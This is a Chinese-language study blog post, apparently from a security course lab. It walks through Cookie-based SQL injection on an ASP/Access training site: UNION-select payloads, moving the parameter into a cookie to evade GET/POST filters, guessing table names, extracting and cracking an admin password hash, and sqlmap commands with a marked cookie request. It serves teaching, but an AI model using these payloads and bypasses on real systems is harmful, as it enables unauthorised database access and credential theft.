MENU

安全学习-05-Access-Cookie注入

September 7, 2021 • 网络安全

Access-Cookie注入

基础知识

Access注入 — Cookie注入

     Access => 数据库中的一种
     Cookie注入 => 特殊的传参方式产生的注入

常见数据库: Access Mysql mssql(sql server) Oracle

Cookie => 门禁卡|身份证

select*from news where id=$_REQUEST['id']
现在这个网站会对GET POST数据进行一个检测

设置Cookie
    1、依靠浏览器进行设置
    2、抓包直接修改
    3、浏览器有的插件也可以设置Cookie
    4、浏览器自带Js进行设置
        document.cookie => 当前网站的Cookie有什么
        document.cookie="id=111111 'a'b'c"
        Cookie注入最好是进行一次编码

    有拦截就得绕过:
        1、不让你检测 (走私) []
        2、规避规则 (藏东西过海关)

    它可以接受Cookie传参并且拼接进数据库
        Cookie很多时候都需要URL编码
        http://tool.chinaz.com/tools/urlencode.aspx

    Access 很老的数据库 => 他不是数据库只是表的集合

    Access 数据库的机构 => 表、字段
    select 1,2,3,4,5,6,7,8,9 => mysql
    1、select xxxx from 表 => 正常查询
        表名怎么知道? => 猜
        and exists (select*from 表名) 

    数据库的表也不是乱写的

    admin news job work admin_user user 


    常见状况:
        ASP - Access  => 有点老,快被淘汰了
        PHP - Mysql|Oracle|Mssql
        ASPX - mssql
        JSP - Oracle|Mysql 

    具体的检测就需要不断地学习
        # 是mysql特有的注释
        MSSQL有自己的特有的系统自带库名
        Oracle有自己的特定语法


猜到了表名,我们还要猜字段名
    1、如何在知道表名不知道字段名的情况下,获取目标信息(偏移注入)
    admin 表 => 可以拿出admin表里面的数据了
    2、猜

    admin => id字段

    什么网站存在Cookie注入
    1、ASP的站点存在可能性极高
    2、PHP版本低于5.3的版本可能性极高

    不要陷入思维误区
    1、设置的Cookie能够影响到页面的数据不代表存在SQL注入

一、靶场地址

http://59.63.200.79:8004/shownews.asp?id=172

二、判断注入点

http://59.63.200.79:8004/shownews.asp?id=172-1
-- 通过减号得到正常171页面的返回,判断具有SQL注入

-- order by 得到字段数
http://59.63.200.79:8004/shownews.asp?id=172 order by 10
-- 得到共10个字段

1.png


二、手工注入

1. 默认方式获得回显点;

-- 获得回显点
http://59.63.200.79:8004/shownews.asp?id=172%20union%20select%201,2,3,4,5,6,7,8,9,10

2.png

对方存在参数过滤,这么怎么办呢,尝试一下避开这个检测。


2. 设置Cookie绕过;

url中未设置id参数,但是也获取到了id=172的页面,说明存在cookie注入。

3.png


3. 通过Cookie注入点确定回显点;

4.png


尝试使用url编码一下呢!

5.png

仍然错误,怀疑是不是不是MySQL,我们把后面union 联合查询后面的SQL语句补全呢。


6.png

终于可以了,回显点位为 2,3,7,8,9!


4. 查询;

我们这里可以通过 and exists (selectfrom 表名) 来爆破出表名,以及表名!

这里我们就尝试最常见的admin表以及username,password字段呢

7.png

直接跑出来了账号admin以及密码!

MD5解密 b9a2a2b5dffb918c ==> welcome


三、SQLMap

1.抓包;

sqlmap-1.png


2. 跑包;

GET /shownews.asp HTTP/1.1
Host: 59.63.200.79:8004
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASPSESSIONIDSQATTCBS=ELPPLLACNMMHBLPCJLBHOJHK; id=172*
Connection: close

sqlmap-2.png


python sqlmap.py -r sql-cookie.txt --dump
-- 可以跑出数据,但是需要跑两个字典,时间太长了,这里我就没有跑

总结

对于变量的获取,不要局限于GET/POST的,可能由于版本问题Cookie也有可能。

常见问题

Cookie注入常见问题汇总

1.    Cookie注入常见吗?
老一点的ASP网站常见,PHP看版本,因为高于5.2以上的php版本他的$_REQUEST将不再接受cookie传参

2.    COOKIE注入时为什么要删除URL内的id传参
因为它传参进去会有一个输出,cookie里我们也传参了一个id数值,他会优先接受GET的传参,具体也是要看语言的,我测试过,PHP会优先接受Cookie传参.

3.    为什么可以cookie注入
因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参

4.    为什么没用到information_schema
access数据库里没有系统自带表,只能猜

5.    不能查information_schema怎么得知表名
可以靠爆破和尝试一些常用表名(例如:news、admin、user)

6.    为什么cookie注入里查找回显点语句后要加上from admin
因为access数据库不支持select 1,2,3 这样的语句,他必须要跟表名

7.    为什么cookie注入语句后面不用加注释
这个和SQL语句的组成部分有关,你注入的地方语句如果是
Select*from news where id=1 然后注入点在id=这里自然可以不加注释

8.    为什么cookie注入可以绕过验证
因为早期网站防护只检测GET和POST传参,没有检测COOKIE

9.    sqlmap如何进行cookie注入
Sqlmap可以提高检测等级来进行cookie注入(检测等级3及以上,要指定参数)
还可以抓包,在Cookie后面打个*就可以了

10.    在无法查询系统自带库的时候如何获取表名
可以burp抓包爆破查询表名,因为表名的命名一般都有规则
and exist(select * from xxx)

11.    cookie注入和显错注入,盲注这些有什么不同
我们课堂演示的Cookie注入属于显错注入,凡事都是讲究对应,例如大对小 胖对瘦 高对矮。Cookie注入的核心是传参方式,他对应的应该是POST注入之类的。显错注入的分类很明显核心看是否是显错,那么对应的就是盲注或者报错注入之类的。

12.    什么是cookie
一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

13.    如何去修改cookie
可以抓包修改(burp)
可以在浏览器里打开f12控制台通过JS修改,还可以在存储里修改cookie
可以使用插件修改(modify headers)

14.    Cookie注入中可以用盲注的方式去判断表名吗
可以呀,不过能用显错就用显错,这里即使是用盲注还是得暴力猜解表名

15.    Cookie注入只能在Access数据库上面使用吗?
并不是呀,基本上所有数据库都能呀,Cookie注入核心是传参方式,传参方式和数据库类型没有关系呀,是动态脚本语言干的事,这个锅数据库他不背。

16.    Cookie注入仅仅在ASP站点有吗?
Cookie注入在PHP中也有,但是最多得还是ASP,因为PHP在5.4的版本$_REQUEST就不会再接受Cookie传参了。

17.    为什么我写的语句放入Cookie无效,SQL注入无效
因为Cookie需要进行一次URL编码才会有效果

18.    为什么我谷歌直接修改Cookie没有效果
建议使用火狐浏览器,不要使用谷歌

19.    如果用Sqlmap直接跑Cookie注入
sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2